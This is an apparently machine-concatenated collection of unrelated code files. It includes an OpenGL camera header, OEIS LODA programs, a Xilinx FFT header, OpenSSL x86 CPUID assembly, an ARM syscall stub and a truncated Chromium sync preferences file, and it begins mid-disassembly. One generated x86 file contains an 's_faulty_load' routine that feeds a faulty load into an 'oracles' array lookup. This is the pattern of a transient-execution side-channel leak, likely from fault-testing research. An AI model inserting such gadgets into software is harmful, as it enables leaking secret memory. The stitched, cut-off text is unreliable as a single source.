00 mov $0x1d74,%eax 19ef: c7 05 78 1d 00 00 00 movl $0x0,0x1d78 19f6: 00 00 00 19f9: e9 3e ff ff ff jmp 193c <malloc+0x2c>
#ifndef CAMERA_H #define CAMERA_H #include <glad/glad.h> #include <glm/glm.hpp> #include <glm/gtc/matrix_transform.hpp> #include <vector> // Defines several possible options for camera movement. Used as abstraction to stay away from window-system specific input methods enum Camera_Movement { FORWARD, BACKWARD, LEFT, RIGHT }; // Default camera values const float YAW = -90.0f; const float PITCH = 0.0f; const float SPEED = 2.5f; const float SENSITIVITY = 0.1f; const float ZOOM = 45.0f; // An abstract camera class that processes input and calculates the corresponding Euler Angles, Vectors and Matrices for use in OpenGL class Camera { public: // camera Attributes glm::vec3 Position; glm::vec3 Front; glm::vec3 Up; glm::vec3 Right; glm::vec3 WorldUp; // euler Angles float Yaw; float Pitch; // camera options float MovementSpeed; float MouseSensitivity; float Zoom; // constructor with vectors Camera(glm::vec3 position = glm::vec3(0.0f, 0.0f, 0.0f), glm::vec3 up = glm::vec3(0.0f, 1.0f, 0.0f), float yaw = YAW, float pitch = PITCH) : Front(glm::vec3(0.0f, 0.0f, -1.0f)), MovementSpeed(SPEED), MouseSensitivity(SENSITIVITY), Zoom(ZOOM) { Position = position; WorldUp = up; Yaw = yaw; Pitch = pitch; updateCameraVectors(); } // constructor with scalar values Camera(float posX, float posY, float posZ, float upX, float upY, float upZ, float yaw, float pitch) : Front(glm::vec3(0.0f, 0.0f, -1.0f)), MovementSpeed(SPEED), MouseSensitivity(SENSITIVITY), Zoom(ZOOM) { Position = glm::vec3(posX, posY, posZ); WorldUp = glm::vec3(upX, upY, upZ); Yaw = yaw; Pitch = pitch; updateCameraVectors(); } // returns the view matrix calculated using Euler Angles and the LookAt Matrix glm::mat4 GetViewMatrix() { return glm::lookAt(Position, Position + Front, Up); } // processes input received from any keyboard-like input system. Accepts input parameter in the form of camera defined ENUM (to abstract it from windowing systems) void ProcessKeyboard(Camera_Movement direction, float deltaTime) { float velocity = MovementSpeed * deltaTime; if (direction == FORWARD) Position += Front * velocity; if (direction == BACKWARD) Position -= Front * velocity; if (direction == LEFT) Position -= Right * velocity; if (direction == RIGHT) Position += Right * velocity; } // processes input received from a mouse input system. Expects the offset value in both the x and y direction. void ProcessMouseMovement(float xoffset, float yoffset, GLboolean constrainPitch = true) { xoffset *= MouseSensitivity; yoffset *= MouseSensitivity; Yaw += xoffset; Pitch += yoffset; // make sure that when pitch is out of bounds, screen doesn't get flipped if (constrainPitch) { if (Pitch > 89.0f) Pitch = 89.0f; if (Pitch < -89.0f) Pitch = -89.0f; } // update Front, Right and Up Vectors using the updated Euler angles updateCameraVectors(); } // processes input received from a mouse scroll-wheel event. Only requires input on the vertical wheel-axis void ProcessMouseScroll(float yoffset) { Zoom -= (float)yoffset; if (Zoom < 1.0f) Zoom = 1.0f; if (Zoom > 45.0f) Zoom = 45.0f; } private: // calculates the front vector from the Camera's (updated) Euler Angles void updateCameraVectors() { // calculate the new Front vector glm::vec3 front; front.x = cos(glm::radians(Yaw)) * cos(glm::radians(Pitch)); front.y = sin(glm::radians(Pitch)); front.z = sin(glm::radians(Yaw)) * cos(glm::radians(Pitch)); Front = glm::normalize(front); // also re-calculate the Right and Up vector Right = glm::normalize(glm::cross(Front, WorldUp)); // normalize the vectors, because their length gets closer to 0 the more you look up or down which results in slower movement. Up = glm::normalize(glm::cross(Right, Front)); } }; #endif
; A047672: Row 3 of square array defined in A047671. ; 1,10,37,94,193,346,565,862,1249,1738,2341,3070,3937,4954,6133,7486,9025,10762,12709,14878,17281,19930,22837,26014,29473,33226,37285,41662,46369,51418,56821,62590,68737,75274,82213,89566,97345 mov $2,$0 mul $2,$0 add $2,4 mov $1,$2 sub $1,3 mov $3,$0 mul $3,4 add $1,$3 mov $4,$0 mul $4,$0 mov $3,$4 mul $3,2 add $1,$3 mul $4,$0 mov $3,$4 mul $3,2 add $1,$3
; A216676: Digital roots of squares of Fibonacci numbers. ; Submitted by Jamie Morken(s2) ; 1,1,4,9,7,1,7,9,4,1,1,9,1,1,4,9,7,1,7,9,4,1,1,9,1,1,4,9,7,1,7,9,4,1,1,9,1,1,4,9,7,1,7,9,4,1,1,9,1,1,4,9,7,1,7,9,4,1,1,9,1,1,4,9,7,1,7,9,4,1,1,9,1,1,4,9,7,1,7,9,4,1,1,9,1,1,4,9,7,1,7,9,4,1,1,9,1,1,4,9 seq $0,15456 ; Generalized Fibonacci numbers. pow $0,2 sub $0,10 div $0,9 add $0,2 mod $0,10
/* * Copyright 2019 Xilinx, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file hls_ssr_fft_demux.hpp * @brief header, describes OCM interface block for data demuxing * */ #ifndef __HLS_SSR_FFT_DEMUX_H__ #define __HLS_SSR_FFT_DEMUX_H__ #include <hls_stream.h> #include "vitis_fft/hls_ssr_fft_kernel_types.hpp" namespace xf { namespace dsp { namespace fft { template <unsigned int t_numKernels, unsigned int t_numRows, unsigned int t_numCols, unsigned int t_memWidth, /*t_memWidth= No of words of type T_elemType * in one wide word read at interface boundary*/ typename T_elemType> void demuxWideStreaming(typename WideTypeDefs<t_memWidth, T_elemType>::WideIFStreamType& p_inWideStream, typename WideTypeDefs<t_memWidth, T_elemType>::WideIFStreamType p_outWideStream[t_numKernels]) { #pragma HLS INLINE off #pragma HLS DATA_PACK variable = p_inWideStream #pragma HLS DATA_PACK variable = p_outWideStream #pragma HLS ARRAY_PARTITION variable = p_outWideStream complete dim = 1 static const unsigned int k_rowIterations = t_numRows / t_memWidth; static const unsigned int k_colIterations = t_numCols; static const unsigned int k_totalIterations = k_rowIterations * k_colIterations; unsigned int outStreamPtr = 0; DEMUX_STREAMING_LOOP: for (int iter = 0; iter < k_totalIterations; iter++) { #pragma HLS PIPELINE II = 1 rewind typename WideTypeDefs<t_memWidth, T_elemType>::WideIFType wideIFSample = p_inWideStream.read(); #ifdef DEBUG_DEMUX #ifndef __SYNTHESIS__ if (outStreamPtr == 0) std::cout << "Demux Stream 0 for kernel" << outStreamPtr << " : " << wideIFSample << std::endl; #endif #endif p_outWideStream[outStreamPtr].write(wideIFSample); outStreamPtr = (outStreamPtr + 1) % t_numKernels; } } } // end namespace fft } // end namespace dsp } // end namespace xf #endif
TITLE x86cpuid.asm IF @Version LT 800 ECHO MASM version 8.00 or later is strongly recommended. ENDIF .586 .MODEL FLAT OPTION DOTNAME IF @Version LT 800 .text$ SEGMENT PAGE 'CODE' ELSE .text$ SEGMENT ALIGN(64) 'CODE' ENDIF ALIGN 16 _OPENSSL_ia32_cpuid PROC PUBLIC $L_OPENSSL_ia32_cpuid_begin:: push ebp push ebx push esi push edi xor edx,edx pushfd pop eax mov ecx,eax xor eax,2097152 push eax popfd pushfd pop eax xor ecx,eax bt ecx,21 jnc $L000done xor eax,eax cpuid mov edi,eax xor eax,eax cmp ebx,1970169159 setne al mov ebp,eax cmp edx,1231384169 setne al or ebp,eax cmp ecx,1818588270 setne al or ebp,eax jz $L001intel cmp ebx,1752462657 setne al mov esi,eax cmp edx,1769238117 setne al or esi,eax cmp ecx,1145913699 setne al or esi,eax jnz $L001intel mov eax,2147483648 cpuid cmp eax,2147483656 jb $L001intel mov eax,2147483656 cpuid movzx esi,cl inc esi mov eax,1 xor ecx,ecx cpuid bt edx,28 jnc $L000done shr ebx,16 and ebx,255 cmp ebx,esi ja $L000done and edx,4026531839 jmp $L000done $L001intel: cmp edi,4 mov edi,-1 jb $L002nocacheinfo mov eax,4 mov ecx,0 cpuid mov edi,eax shr edi,14 and edi,4095 $L002nocacheinfo: mov eax,1 xor ecx,ecx cpuid cmp ebp,0 jne $L003notP4 and ah,15 cmp ah,15 jne $L003notP4 or edx,1048576 $L003notP4: bt edx,28 jnc $L000done and edx,4026531839 cmp edi,0 je $L000done or edx,268435456 shr ebx,16 cmp bl,1 ja $L000done and edx,4026531839 $L000done: mov eax,edx mov edx,ecx pop edi pop esi pop ebx pop ebp ret _OPENSSL_ia32_cpuid ENDP ;EXTERN _OPENSSL_ia32cap_P:NEAR ALIGN 16 _OPENSSL_rdtsc PROC PUBLIC $L_OPENSSL_rdtsc_begin:: xor eax,eax xor edx,edx lea ecx,DWORD PTR _OPENSSL_ia32cap_P bt DWORD PTR [ecx],4 jnc $L004notsc rdtsc $L004notsc: ret _OPENSSL_rdtsc ENDP ALIGN 16 _OPENSSL_instrument_halt PROC PUBLIC $L_OPENSSL_instrument_halt_begin:: lea ecx,DWORD PTR _OPENSSL_ia32cap_P bt DWORD PTR [ecx],4 jnc $L005nohalt DD 2421723150 and eax,3 jnz $L005nohalt pushfd pop eax bt eax,9 jnc $L005nohalt rdtsc push edx push eax hlt rdtsc sub eax,DWORD PTR [esp] sbb edx,DWORD PTR 4[esp] add esp,8 ret $L005nohalt: xor eax,eax xor edx,edx ret _OPENSSL_instrument_halt ENDP ALIGN 16 _OPENSSL_far_spin PROC PUBLIC $L_OPENSSL_far_spin_begin:: pushfd pop eax bt eax,9 jnc $L006nospin mov eax,DWORD PTR 4[esp] mov ecx,DWORD PTR 8[esp] DD 2430111262 xor eax,eax mov edx,DWORD PTR [ecx] jmp $L007spin ALIGN 16 $L007spin: inc eax cmp edx,DWORD PTR [ecx] je $L007spin DD 529567888 ret $L006nospin: xor eax,eax xor edx,edx ret _OPENSSL_far_spin ENDP ALIGN 16 _OPENSSL_wipe_cpu PROC PUBLIC $L_OPENSSL_wipe_cpu_begin:: xor eax,eax xor edx,edx lea ecx,DWORD PTR _OPENSSL_ia32cap_P mov ecx,DWORD PTR [ecx] bt DWORD PTR [ecx],1 jnc $L008no_x87 DD 4007259865,4007259865,4007259865,4007259865,2430851995 $L008no_x87: lea eax,DWORD PTR 4[esp] ret _OPENSSL_wipe_cpu ENDP ALIGN 16 _OPENSSL_atomic_add PROC PUBLIC $L_OPENSSL_atomic_add_begin:: mov edx,DWORD PTR 4[esp] mov ecx,DWORD PTR 8[esp] push ebx nop mov eax,DWORD PTR [edx] $L009spin: lea ebx,DWORD PTR [ecx*1+eax] nop DD 447811568 jne $L009spin mov eax,ebx pop ebx ret _OPENSSL_atomic_add ENDP ALIGN 16 _OPENSSL_indirect_call PROC PUBLIC $L_OPENSSL_indirect_call_begin:: push ebp mov ebp,esp sub esp,28 mov ecx,DWORD PTR 12[ebp] mov DWORD PTR [esp],ecx mov edx,DWORD PTR 16[ebp] mov DWORD PTR 4[esp],edx mov eax,DWORD PTR 20[ebp] mov DWORD PTR 8[esp],eax mov eax,DWORD PTR 24[ebp] mov DWORD PTR 12[esp],eax mov eax,DWORD PTR 28[ebp] mov DWORD PTR 16[esp],eax mov eax,DWORD PTR 32[ebp] mov DWORD PTR 20[esp],eax mov eax,DWORD PTR 36[ebp] mov DWORD PTR 24[esp],eax call DWORD PTR 8[ebp] mov esp,ebp pop ebp ret _OPENSSL_indirect_call ENDP ALIGN 16 _OPENSSL_cleanse PROC PUBLIC $L_OPENSSL_cleanse_begin:: mov edx,DWORD PTR 4[esp] mov ecx,DWORD PTR 8[esp] xor eax,eax cmp ecx,7 jae $L010lot cmp ecx,0 je $L011ret $L012little: mov BYTE PTR [edx],al sub ecx,1 lea edx,DWORD PTR 1[edx] jnz $L012little $L011ret: ret ALIGN 16 $L010lot: test edx,3 jz $L013aligned mov BYTE PTR [edx],al lea ecx,DWORD PTR [ecx-1] lea edx,DWORD PTR 1[edx] jmp $L010lot $L013aligned: mov DWORD PTR [edx],eax lea ecx,DWORD PTR [ecx-4] test ecx,-4 lea edx,DWORD PTR 4[edx] jnz $L013aligned cmp ecx,0 jne $L012little ret _OPENSSL_cleanse ENDP .text$ ENDS .bss SEGMENT 'BSS' COMM _OPENSSL_ia32cap_P:DWORD .bss ENDS .CRT$XCU SEGMENT DWORD PUBLIC 'DATA' EXTERN _OPENSSL_cpuid_setup:NEAR DD _OPENSSL_cpuid_setup .CRT$XCU ENDS END
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x1a0bb, %r11 nop nop nop nop xor $14565, %rbx mov (%r11), %r9 cmp $38032, %rsi lea addresses_WT_ht+0x1b6bb, %rsi lea addresses_UC_ht+0xae8b, %rdi clflush (%rsi) nop cmp $5856, %r11 mov $7, %rcx rep movsq nop nop inc %rdi lea addresses_WT_ht+0x1059b, %r11 nop nop cmp %rax, %rax movb (%r11), %bl nop nop nop and $63627, %rdi lea addresses_A_ht+0x14597, %rsi lea addresses_UC_ht+0x25d3, %rdi nop xor %r13, %r13 mov $124, %rcx rep movsb add %rax, %rax lea addresses_D_ht+0x16b9b, %r11 nop nop nop nop nop and %rdi, %rdi mov $0x6162636465666768, %rax movq %rax, %xmm6 and $0xffffffffffffffc0, %r11 vmovaps %ymm6, (%r11) nop nop nop nop nop sub $31736, %rax lea addresses_WT_ht+0xda3b, %rsi lea addresses_D_ht+0x15a3b, %rdi nop nop nop dec %r13 mov $115, %rcx rep movsw nop mfence lea addresses_D_ht+0xb437, %rsi lea addresses_WT_ht+0x1bbe3, %rdi nop nop nop nop nop cmp $31427, %r11 mov $29, %rcx rep movsl sub %r9, %r9 lea addresses_WT_ht+0x11993, %rdi nop nop nop nop and $63090, %rbx movl $0x61626364, (%rdi) nop nop nop nop and $24387, %rbx lea addresses_normal_ht+0x114f7, %rcx nop nop nop inc %r9 mov $0x6162636465666768, %r11 movq %r11, %xmm2 vmovups %ymm2, (%rcx) nop nop nop nop and $30447, %rbx lea addresses_UC_ht+0x11b47, %rsi clflush (%rsi) nop nop nop add $34760, %rbx movw $0x6162, (%rsi) nop xor $57885, %rdi lea addresses_A_ht+0x5adb, %rcx nop nop nop nop nop xor %rax, %rax mov $0x6162636465666768, %r11 movq %r11, (%rcx) nop nop nop and %rdi, %rdi lea addresses_normal_ht+0x1b3b3, %rsi lea addresses_A_ht+0xd8bb, %rdi nop nop nop nop nop and $50622, %r11 mov $60, %rcx rep movsw nop nop nop nop nop inc %r11 lea addresses_D_ht+0x2ebb, %r13 nop nop and $27793, %rdi mov $0x6162636465666768, %rax movq %rax, %xmm3 vmovups %ymm3, (%r13) nop nop xor %r11, %r11 lea addresses_UC_ht+0xdbbb, %rax and $17364, %rdi mov (%rax), %r13 nop and %rax, %rax lea addresses_D_ht+0x9a3, %rsi lea addresses_D_ht+0x107db, %rdi clflush (%rsi) nop cmp %r9, %r9 mov $72, %rcx rep movsw nop nop nop nop sub $43277, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %rbp push %rdi push %rdx // Faulty Load lea addresses_UC+0x148bb, %rdx nop nop nop xor %r14, %r14 vmovups (%rdx), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $1, %xmm0, %r10 lea oracles, %r14 and $0xff, %r10 shlq $12, %r10 mov (%r14,%r10,1), %r10 pop %rdx pop %rdi pop %rbp pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
/* * Copyright 2018-2021 Mahdi Khanalizadeh * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ .section .text .global linux_syscall6 linux_syscall6: push {r4, r5, r7} // save r4, r5 and r7 add r4, sp, #12 ldm r4, {r4, r5, r7} swi 0x0 pop {r4, r5, r7} // restore r4, r5 and r7 bx lr
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/sync_driver/sync_prefs.h" #include "base/base64.h" #include "base/logging.h" #include "base/strings/string_number_conversions.h" #include "base/values.h" #include "build/build_config.h" #include "components/pref_registry/pref_registry_syncable.h" #include "components/prefs/pref_member.h" #include "components/prefs/pref_service.h" #include "components/sync_driver/pref_names.h" namespace sync_driver { SyncPrefObserver::~SyncPrefObserver() {} SyncPrefs::SyncPrefs(PrefService* pref_service) : pref_service_(pref_service) { DCHECK(pref_service); RegisterPrefGroups(); // Watch the preference that indicates sync is managed so we can take // appropriate action. pref_sync_managed_.Init( prefs::kSyncManaged, pref_service_, base::Bind(&SyncPrefs::OnSyncManagedPrefChanged, base::Unretained(this))); } SyncPrefs::SyncPrefs() : pref_service_(NULL) {} SyncPrefs::~SyncPrefs() { DCHECK(CalledOnValidThread()); } // static void SyncPrefs::RegisterProfilePrefs( user_prefs::PrefRegistrySyncable* registry) { registry->RegisterBooleanPref(prefs::kSyncFirstSetupComplete, false); registry->RegisterBooleanPref(prefs::kSyncSuppressStart, false); registry->RegisterInt64Pref(prefs::kSyncLastSyncedTime, 0); registry->RegisterInt64Pref(prefs::kSyncLastPollTime, 0); registry->RegisterInt64Pref(prefs::kSyncFirstSyncTime, 0); // All datatypes are on by default, but this gets set explicitly // when you configure sync (when turning it on), in // ProfileSyncService::OnUserChoseDatatypes. registry->RegisterBooleanPref(prefs::kSyncKeepEverythingSynced, true); syncer::ModelTypeSet user_types = syncer::UserTypes(); // Include proxy types as well, as they can be individually selected, // although they don't have sync representations. user_types.PutAll(syncer::ProxyTypes()); // Treat bookmarks and device info specially. RegisterDataTypePreferredPref(registry, syncer::BOOKMARKS, true); RegisterDataTypePreferredPref(registry, syncer::DEVICE_INFO, true); user_types.Remove(syncer::BOOKMARKS); user_types.Remove(syncer::DEVICE_INFO); // All types are set to off by default, which forces a configuration to // explicitly enable them. GetPreferredTypes() will ensure that any new // implicit types are enabled when their pref group is, or via // KeepEverythingSynced. for (syncer::ModelTypeSet::Iterator it = user_types.First(); it.Good(); it.Inc()) { RegisterDataTypePreferredPref(registry, it.Get(), false); } registry->RegisterBooleanPref(prefs::kSyncManaged, false); registry->RegisterStringPref(prefs::kSyncEncryptionBootstrapToken, std::string()); registry->RegisterStringPref(prefs::kSyncKeystoreEncryptionBootstrapToken, std::string()); #if defined(OS_CHROMEOS) registry->RegisterStringPref(prefs::kSyncSpareBootstrapToken, ""); #endif registry->RegisterBooleanPref(prefs::kSyncHasAuthError, false); registry->RegisterStringPref(prefs::kSyncSessionsGUID, std::string()); registry->RegisterBooleanPref(prefs::kSyncPassphrasePrompted, false); registry->RegisterIntegerPref(prefs::kSyncMemoryPressureWarningCount, -1); registry->RegisterBooleanPref(prefs::kSyncShutdownCleanly, false); registry->RegisterDictionaryPref(prefs::kSyncInvalidationVersions); registry->RegisterStringPref(prefs::kSyncLastRunVersion, std::string()); registry->RegisterBooleanPref( prefs::kSyncPassphraseEncryptionTransitionInProgress, false); registry->RegisterStringPref(prefs::kSyncNigoriStateForPassphraseTransition, std::string()); } void SyncPrefs::AddSyncPrefObserver(SyncPrefObserver* sync_pref_observer) { DCHECK(CalledOnValidThread()); sync_pref_observers_.AddObserver(sync_pref_observer); } void SyncPrefs::RemoveSyncPrefObserver(SyncPrefObserver* sync_pref_observer) { DCHECK(CalledOnValidThread()); sync_pref_observers_.RemoveObserver(sync_pref_observer); } void SyncPrefs::ClearPreferences() { DCHECK(CalledOnValidThread()); pref_service_->ClearPref(prefs::kSyncLastSyncedTime); pref_service_->ClearPref(prefs::kSyncLastPollTime); pref_service_->ClearPref(prefs::kSyncFirstSetupComplete); pref_service_->ClearPref(prefs::kSyncEncryptionBootstrapToken); pref_service_->ClearPref(prefs::kSyncKeystoreEncryptionBootstrapToken); pref_service_->ClearPref(prefs::kSyncPassphrasePrompted); pref_service_->ClearPref(prefs::kSyncMemoryPressureWarningCount); pref_service_->ClearPref(prefs::kSyncShutdownCleanly); pref_service_->ClearPref(prefs::kSyncInvalidationVersions); pref_service_->ClearPref(prefs::kSyncLastRunVersion); pref_service_->ClearPref( prefs::kSyncPassphraseEncryptionTransitionInProgress); pref_service_->ClearPref(prefs::kSyncNigoriStateForPassphraseTransition); // TODO(nick): The current behavior does not clear // e.g. prefs::kSyncBookmarks. Is that really what we want? } bool SyncPrefs::IsFirstSetupComplete() const { DCHECK(CalledOnValidThread()); return pref_service_->GetBoolean(prefs::kSyncFirstSetupComplete); } void SyncPrefs::SetFirstSetupComplete() { DCHECK(CalledOnValidThread()); pref_service_->SetBoolean(prefs::kSyncFirstSetupComplete, true); } bool SyncPrefs::SyncHasAuthError() const { DCHECK(CalledOnValidThread()); return pref_service_->GetBoolean(prefs::kSyncHasAuthError); } void SyncPrefs::SetSyncAuthError(bool error) { DCHECK(CalledOnValidThread()); pref_service_->SetBoolean(prefs::kSyncHasAuthError, error); } bool SyncPrefs::IsSyncRequested() const { DCHECK(CalledOnValidThread()); // IsSyncRequested is the inverse of the old SuppressStart pref. // Since renaming a pref value is hard, here we still use the old one. return !pref_service_->GetBoolean(prefs::kSyncSuppressStart); } void SyncPrefs::SetSyncRequested(bool is_requested) { DCHECK(CalledOnValidThread()); // See IsSyncRequested for why we use this pref and !is_requested. pref_service_->SetBoolean(prefs::kSyncSuppressStart, !is_requested); } base::Time SyncPrefs::GetLastSyncedTime() const { DCHECK(CalledOnValidThread()); return base::Time::FromInternalValue( pref_service_->GetInt64(prefs::kSyncLastSyncedTime)); } void SyncPrefs::SetLastSyncedTime(base::Time time) { DCHECK(CalledOnValidThread()); pref_service_->SetInt64(prefs::kSyncLastSyncedTime, time.ToInternalValue()); } base::Time SyncPrefs::GetLastPollTime() const { DCHECK(CalledOnValidThread()); return base::Time::FromInternalValue( pref_service_->GetInt64(prefs::kSyncLastSyncedTime)); } void SyncPrefs::SetLastPollTime(base::Time time) { DCHECK(CalledOnValidThread()); pref_service_->SetInt64(prefs::kSyncLastPollTime, time.ToInternalValue()); } bool SyncPrefs::HasKeepEverythingSynced() const { DCHECK(CalledOnValidThread()); return pref_service_->GetBoolean(prefs::kSyncKeepEverythingSynced); } void SyncPrefs::SetKeepEverythingSynced(bool keep_everything_synced) { DCHECK(CalledOnValidThread()); pref_service_->SetBoolean(prefs::kSyncKeepEverythingSynced, keep_everything_synced); } syncer::ModelTypeSet SyncPrefs::GetPreferredDataTypes( syncer::ModelTypeSet registered_types) const { DCHECK(CalledOnValidThread()); if (pref_service_->GetBoolean(prefs::kSyncKeepEverythingSynced)) { return registered_types; } syncer::ModelTypeSet preferred_types; for (syncer::ModelTypeSet::Iterator it = registered_types.First(); it.Good(); it.Inc()) { if (GetDataTypePreferred(it.Get())) { preferred_types.Put(it.Get()); } } return ResolvePrefGroups(registered_types, preferred_types); } void SyncPrefs::SetPreferredDataTypes(syncer::ModelTypeSet registered_types, syncer::ModelTypeSet preferred_types) { DCHECK(CalledOnValidThread()); preferred_types = ResolvePrefGroups(registered_types, preferred_types); DCHECK(registered_types.HasAll(preferred_types)); for 